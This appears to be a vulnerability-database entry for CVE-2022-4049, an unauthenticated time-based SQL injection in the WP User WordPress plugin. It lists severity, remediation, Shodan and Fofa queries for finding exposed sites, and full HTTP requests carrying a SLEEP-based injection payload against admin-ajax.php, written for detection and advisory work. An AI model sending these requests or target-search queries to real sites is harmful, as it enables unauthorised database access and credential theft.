🔙 목록으로 돌아가기

CVE-2022-4049: WP User <= 7.0 - Unauthenticated SQLi

TitleWP User <= 7.0 - Unauthenticated SQLi
Authortheamanrawat
SeverityCritical
ImpactUnauthenticated attackers can execute time-based blind SQL injection through the id parameter in wpuser_group_action AJAX endpoint, potentially extracting sensitive database information including user credentials, personal data, and WordPress configuration.
RemediationUpdate WP User plugin to a version later than 7.0 that properly sanitizes and parameterizes the id parameter in admin-ajax.php.
CVSS Score9.8
EPSS Score0.80436
CVE IDCVE-2022-4049
CWE IDCWE-89
Shodan Queryhttp.html:/wp-content/plugins/wp-user/
Fofa Querybody=/wp-content/plugins/wp-user/
Tags time-based-sqli cve cve2022 sqli wpscan wordpress wp-plugin wp wp-user unauth wp_user_project vuln

🔍 Vulnerability Description

The WP User WordPress plugin through 7.0 does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users.

🌐 HTTP Request

GET /index.php/user/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:140.) Gecko/20100101 Firefox/140.
Connection: close
Content-Length: 118
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=wpuser_group_action&group_action=x&wpuser_update_setting=J7Vcs7&id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))khkM)
GET /user HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 118
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=wpuser_group_action&group_action=x&wpuser_update_setting=J7Vcs7&id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))khkM)

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4049.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-4049.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A